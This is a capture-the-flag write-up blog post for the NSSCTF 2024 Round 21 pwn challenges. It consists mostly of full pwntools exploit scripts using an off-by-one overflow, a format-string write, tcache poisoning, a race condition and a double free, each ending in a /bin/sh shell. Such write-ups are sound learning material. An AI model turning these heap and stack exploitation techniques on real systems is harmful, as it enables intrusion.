NSS2024#21-wp

henry Lv4

Beautiful_Girl

​ 溢出一字节为 ‘\x00’,将栈抬高,有概率返回到 ogg,爆破即可,成功率比较高

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
import os
from ctypes import *
from ae64 import AE64
from Crypto.Util.number import bytes_to_long,bytes_to_long
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
# context.clear(arch='amd64', os='linux')
bk = lambda :(dbg(),pause())
dbg = lambda : gdb.attach(io)
mydb = lambda : (lg("[*] pid ==> " + str(io.__getattr__("pid"))), pause())
inter = lambda:io.interactive()
re = lambda data: io.recv(data)
sd = lambda data: io.send(data)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
sa = lambda data, content: io.sendafter(data,content)
sla = lambda data, content: io.sendlineafter(data,content)
lg = lambda content : print('\x1b[01;38;5;214m' + content +'\x1b[0m')
li = lambda content,data : print('\x1b[01;38;5;214m' + content + ' == ' + hex(data) + '\x1b[0m')
l64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search("/bin/sh"))
def debug(c = 0):
if(c): gdb.attach(io, c)
else: bk()
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,b'\x00'))
else:
return u64(rl().strip('\n').ljust(8,b'\x00'))
#---------------------------------------------------------
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3.6_amd64/libc.so.6')
libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
filename = "./pwn"
# io = process(filename)
# io = remote("node2.anna.nssctf.cn",28459)
elf = ELF(filename)
#---------------------------------------------------------
# libc_rop = ROP(libc)
# pop_rdx_ret = libc_rop.find_gadget(['pop rdx', 'ret'])[0]

def exp():
sla("choose:", "1")
rl("give you ")
stdout = int(io.recv(14), 16)
libc_base = stdout - 0x3c5620
li("stdout", stdout)
li("libc_base", libc_base)

# debug("b *0x400A67")
sa("first", b'a'*0x10 + b'\x00')
ogg = libc_base + 0x45226
li("ogg", ogg)

sa("to say???", p64(0)*(56) + p64(ogg)*(8))

if __name__ == '__main__':
# for i in range(5):
while True:
# io = process(filename)
io = remote("node2.anna.nssctf.cn",28459)
try:
exp()
io.recv(timeout = 0.1)
io.recv(timeout = 0.1)
io.recv(timeout = 0.1)
io.recv(timeout = 0.1)
io.recv(timeout = 0.1)
io.recv(timeout = 0.1)
io.recv(timeout = 0.1)
io.recv(timeout = 0.1)
io.recv(timeout = 0.1)
io.recv(timeout = 0.1)
break
except:
pass
io.close()
inter()

# 0x40
# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL

# libc_base = system - libc.sym['system']
# system = libc_base + libc.sym['system']
# bin_sh = libc_base + next(libc.search(b"/bin/sh"))

fmt_checkin

​ 非栈上格式化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *
import os
from ctypes import *
from ae64 import AE64
from Crypto.Util.number import bytes_to_long,bytes_to_long
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
# context.clear(arch='amd64', os='linux')
bk = lambda :(dbg(),pause())
dbg = lambda : gdb.attach(io)
mydb = lambda : (lg("[*] pid ==> " + str(io.__getattr__("pid"))), pause())
inter = lambda:io.interactive()
re = lambda data: io.recv(data)
sd = lambda data: io.send(data)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
sa = lambda data, content: io.sendafter(data,content)
sla = lambda data, content: io.sendlineafter(data,content)
lg = lambda content : print('\x1b[01;38;5;214m' + content +'\x1b[0m')
li = lambda content,data : print('\x1b[01;38;5;214m' + content + ' == ' + hex(data) + '\x1b[0m')
l64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search("/bin/sh"))
def debug(c = 0):
if(c): gdb.attach(io, c)
else: bk()
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,b'\x00'))
else:
return u64(rl().strip('\n').ljust(8,b'\x00'))
#---------------------------------------------------------
libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3.6_amd64/libc.so.6')
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
filename = "./fmt_checkin"
# io = process(filename)
io = remote("node1.anna.nssctf.cn",28996)
elf = ELF(filename)
#---------------------------------------------------------
sla("like to send", str(-1))
sla("payload", b'%9$p %13$p')
rl("0x")
libc_base = int(io.recv(12), 16) - 0x29d90
rl("0x")
stack_addr = int(io.recv(12), 16)
li("libc_base",libc_base)
li("stack_addr",stack_addr)

ret = stack_addr - 0x128
one_gadget = libc_base + 0xebc85
li("ret",ret)


for i in range(6):
payload = b"%" + str((ret+i)&0xffff).encode() + b'c%13$hn'
sa("payload", payload)
payload = b"%" + str((one_gadget >> (8*i))&0xff).encode() + b'c%43$hhn'
sa("payload", payload)

# debug("b *0x401358")
payload = b"%" + str((ret-0x8)&0xffff).encode() + b'c%13$hn'
sa("payload", payload)
payload = b"%" + str((0x101a)&0xffff).encode() + b'c%43$hn'
sa("payload", payload)
inter()
# 0x40
# 0x50a47 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
# constraints:
# rsp & 0xf == 0
# rcx == NULL
# rbp == NULL || (u16)[rbp] == NULL

# 0xebc81 execve("/bin/sh", r10, [rbp-0x70])
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

# 0xebc85 execve("/bin/sh", r10, rdx)
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL
# [rdx] == NULL || rdx == NULL

# 0xebc88 execve("/bin/sh", rsi, rdx)
# constraints:
# address rbp-0x78 is writable
# [rsi] == NULL || rsi == NULL
# [rdx] == NULL || rdx == NULL

# libc_base = system - libc.sym['system']
# system = libc_base + libc.sym['system']
# bin_sh = libc_base + next(libc.search(b"/bin/sh"))

Heresy

​ strchr 可以改 size,相当于越界写,劫持tcache任意地址分配打栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
from pwn import *
import os
from ctypes import *
from ae64 import AE64
from Crypto.Util.number import bytes_to_long,bytes_to_long
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
# context.clear(arch='amd64', os='linux')
bk = lambda :(dbg(),pause())
dbg = lambda : gdb.attach(io)
mydb = lambda : (lg("[*] pid ==> " + str(io.__getattr__("pid"))), pause())
inter = lambda:io.interactive()
re = lambda data: io.recv(data)
sd = lambda data: io.send(data)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
sa = lambda data, content: io.sendafter(data,content)
sla = lambda data, content: io.sendlineafter(data,content)
lg = lambda content : print('\x1b[01;38;5;214m' + content +'\x1b[0m')
li = lambda content,data : print('\x1b[01;38;5;214m' + content + ' == ' + hex(data) + '\x1b[0m')
l64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search("/bin/sh"))
def debug(c = 0):
if(c): gdb.attach(io, c)
else: bk()
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,b'\x00'))
else:
return u64(rl().strip('\n').ljust(8,b'\x00'))
#---------------------------------------------------------
libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3.6_amd64/libc.so.6')
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
filename = "./pwn"
# io = process(filename)
io = remote("node1.anna.nssctf.cn",28575)
elf = ELF(filename)
#---------------------------------------------------------
libc_rop = ROP(libc)
pop_rdi_ret = libc_rop.find_gadget(['pop rdi', 'ret'])[0]
def add(size, name, content):
sla("choice>>", "1")
sa("name", name)
sla("size", str(size))
sa("content", content)

def show(idx):
sla("choice>>", "3")
sla("want to query", str(idx))

def edit_name(idx, name, content):
sla("choice>>", "4")
sla("want to query", str(idx))
sa("change", name)
sa("A new letter!!!", content)

def edit_content(idx, content):
sla("choice>>", "5")
sla("want to query", str(idx))
sa("content", content)

def delete(idx):
sla("choice>>", "2")
sla("want to query", str(idx))


add(0x30, b'a'*0xf, b'b'*0x20)
for i in range(9):
add(0x100, b'a'*0xf, b'b'*0x20)

edit_name(0, b'\x00', b'b')
edit_name(0, b'\x00', b'\xff')


# leak heap_base
delete(1)
edit_content(0, b'a'*0x40)
show(0)
rl(b'a'*0x40)
heap_base = u64(io.recv(5).ljust(8, b'\x00')) << 12
li("heap_base", heap_base)

edit_content(0, b'a'*0x48)
show(0)
rl(b'a'*0x48)
key = u64(io.recv(8).ljust(8, b'\x00'))
li("key", key)

edit_content(0, b'a'*0x30 + p64(0) + p64(0x111) + p64(heap_base >> 12) + p64(key))

# leak libc_base
for i in range(7):
delete(8 - i)

edit_content(0, b'a'*0x150)
show(0)
rl(b'a'*0x150)
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x21ace0
li("libc_base", libc_base)
restore_info = b'a'*0x30 + p64(0) + p64(0x111) + p64(heap_base >> 12) + p64(key) + b'\x00'*0xf0 + p64(0) + p64(0x111) + p64(libc_base + 0x21ace0)*2 + b'\x00'*0xf0
edit_content(0, restore_info)

payload = restore_info + p64(0) + p64(0x111) + p64((heap_base + 0x10) ^ (heap_base >> 12)) + p64(key)
edit_content(0, payload)
add(0x100, b'a', b'a') #idx1

payload = b'\x00'*0x1e + b'\x10'
environ = libc_base + libc.sym['environ']
payload = payload.ljust(0xf8, b'\x00') + p64(environ-0x20)
add(0x100, b'a', payload) #idx2

add(0x100, b'a', b'a'*0x20) #idx3
show(3)
stack = l64()

li("environ", environ)
li("stack", stack)
payload = b'\x00'*0x1e + b'\x10'
payload = payload.ljust(0xf8, b'\x00') + p64(stack-0x148)
edit_content(2, payload)

# debug("b *$rebase(0x15AA)")

system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh"))
pop_rdi_ret += libc_base
add(0x100, b'a', p64(libc_base + 0x21b000) + p64(pop_rdi_ret+1)+ p64(pop_rdi_ret)+ p64(bin_sh)+p64(system))

# bk()
inter()
# 0x40
# 0x50a47 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
# constraints:
# rsp & 0xf == 0
# rcx == NULL
# rbp == NULL || (u16)[rbp] == NULL

# 0xebc81 execve("/bin/sh", r10, [rbp-0x70])
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

# 0xebc85 execve("/bin/sh", r10, rdx)
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL
# [rdx] == NULL || rdx == NULL

# 0xebc88 execve("/bin/sh", rsi, rdx)
# constraints:
# address rbp-0x78 is writable
# [rsi] == NULL || rsi == NULL
# [rdx] == NULL || rdx == NULL
# libc_base = system - libc.sym['system']

Za1Yunti4n

​ 条件竞争,多跑两次就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
import os
from ctypes import *
from ae64 import AE64
from Crypto.Util.number import bytes_to_long,bytes_to_long
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
# context.clear(arch='amd64', os='linux')
bk = lambda :(dbg(),pause())
dbg = lambda : gdb.attach(io)
mydb = lambda : (lg("[*] pid ==> " + str(io.__getattr__("pid"))), pause())
inter = lambda:io.interactive()
re = lambda data: io.recv(data)
sd = lambda data: io.send(data)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
sa = lambda data, content: io.sendafter(data,content)
sla = lambda data, content: io.sendlineafter(data,content)
lg = lambda content : print('\x1b[01;38;5;214m' + content +'\x1b[0m')
li = lambda content,data : print('\x1b[01;38;5;214m' + content + ' == ' + hex(data) + '\x1b[0m')
l64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search("/bin/sh"))
def debug(c = 0):
if(c): gdb.attach(io, c)
else: bk()
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,b'\x00'))
else:
return u64(rl().strip('\n').ljust(8,b'\x00'))
#---------------------------------------------------------
libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3.6_amd64/libc.so.6')
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
filename = "./pwn4"
# io = process(filename)
io = remote("node2.anna.nssctf.cn",28785)
elf = ELF(filename)
#---------------------------------------------------------
libc_rop = ROP(libc)
pop_rdi_ret = libc_rop.find_gadget(['pop rdi', 'ret'])[0]
def add(size, name, content):
sla("choice>>", "1")
sa("name", name)
sla("size", str(size))
sa("content", content)

def show(idx):
sla("choice>>", "3")
sla("want to query", str(idx))

def edit_name(idx, name, content):
sla("choice>>", "4")
sla("want to query", str(idx))
sa("change", name)
sa("A new letter!!!", content)

def edit_content(idx, content):
sla("choice>>", "5")
sla("want to query", str(idx))
sa("content", content)

def delete(idx):
sla("choice>>", "2")
sla("want to query", str(idx))

def menu(opt):
sla("5.搬砖赚个钱", str(opt))

sla("输入你的名字", b'aaa')

sl(str(5))
sl(str(5))
# debug("b *$rebase(0x2EA0)")
# menu(4)
inter()

girlfriend

​ 比赛的时候没有做出来,事后问出题人是 double free,于是将这题做了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import *
import os
from ctypes import *
from ae64 import AE64
from Crypto.Util.number import bytes_to_long,bytes_to_long
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
# context.clear(arch='amd64', os='linux')
bk = lambda :(dbg(),pause())
dbg = lambda : gdb.attach(io)
mydb = lambda : (lg("[*] pid ==> " + str(io.__getattr__("pid"))), pause())
inter = lambda:io.interactive()
re = lambda data: io.recv(data)
sd = lambda data: io.send(data)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
sa = lambda data, content: io.sendafter(data,content)
sla = lambda data, content: io.sendlineafter(data,content)
lg = lambda content : print('\x1b[01;38;5;214m' + content +'\x1b[0m')
li = lambda content,data : print('\x1b[01;38;5;214m' + content + ' == ' + hex(data) + '\x1b[0m')
l64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search("/bin/sh"))
def debug(c = 0):
if(c): gdb.attach(io, c)
else: bk()
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,b'\x00'))
else:
return u64(rl().strip('\n').ljust(8,b'\x00'))
#---------------------------------------------------------
libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3.6_amd64/libc.so.6')
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
filename = "./pwn"
io = process(filename)
# io = remote("node2.anna.nssctf.cn",28785)
elf = ELF(filename)
#---------------------------------------------------------
libc_rop = ROP(libc)
pop_rdi_ret = libc_rop.find_gadget(['pop rdi', 'ret'])[0]
def add(size, name, content):
sla("choice:", "1")
sla("height:", str(size))
sa("name", name)
sa("describe", content)

def show():
sla("choice:", "3")

def delete(content):
sla("choice:", "2")
sla("now???", content)


# debug("b *$rebase(0x2EA0)")
# menu(4)


# debug("b *$rebase(0x1478)")
add(0x100, b'a'*0x8, b'b'*0x18)
show()
rl("aaaaaaaa")
code_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x1389
rl("bbbbbbbbbbbbbbbbbbbbbbbb")
stack = u64(io.recv(6).ljust(8,b'\x00'))

li("code_base", code_base)
li("stack", stack)

delete('YYY')
show()
rl("girlfriend is ")
heap_base = u64(io.recv(5).ljust(8, b'\x00')) << 12
li("heap_base", heap_base)

sla("choice:", "520")
# sa("your love", b'b'*0x20)
delete('YYY')
sla("choice:", "520")
delete('YYY')


add(0x100, p64((code_base + 0x4000)^(heap_base >> 12)), b'b'*0x18)
add(0x100, b'a'*0x8, b'b'*0x8)
add(0x100, b'a'*0x8, b'b'*0x8)
show()
libc_base = l64() - 0x21b780
li("libc_base", libc_base)
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh"))

delete("NNN")
add(0xa0, b'a'*8, b'b'*8)
delete('YYY')
sla("choice:", "520")
delete('YYY')
sla("choice:", "520")
delete('YYY')

li("stack", stack)
add(0xa0, p64((stack-0x20-0x30)^(heap_base >> 12)), b'b'*0x18)
add(0xa0, b'a'*8, b'b'*8)
# debug("b *$rebase(0x14CD)")
pop_rdi_ret += libc_base
add(0xa0, b'\x00', b'\x00')
# sla("choice:", "4")
# payload = flat([])
# debug("b *$rebase(0x16A6)")
sla("choice:", "520")
sa("Please input your love", flat([pop_rdi_ret+1, pop_rdi_ret, bin_sh, system]))
# bk()

inter()
  • Title: NSS2024#21-wp
  • Author: henry
  • Created at : 2024-04-06 21:29:51
  • Updated at : 2024-04-06 21:32:48
  • Link: https://henrymartin262.github.io/2024/04/06/nssround21-wp/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments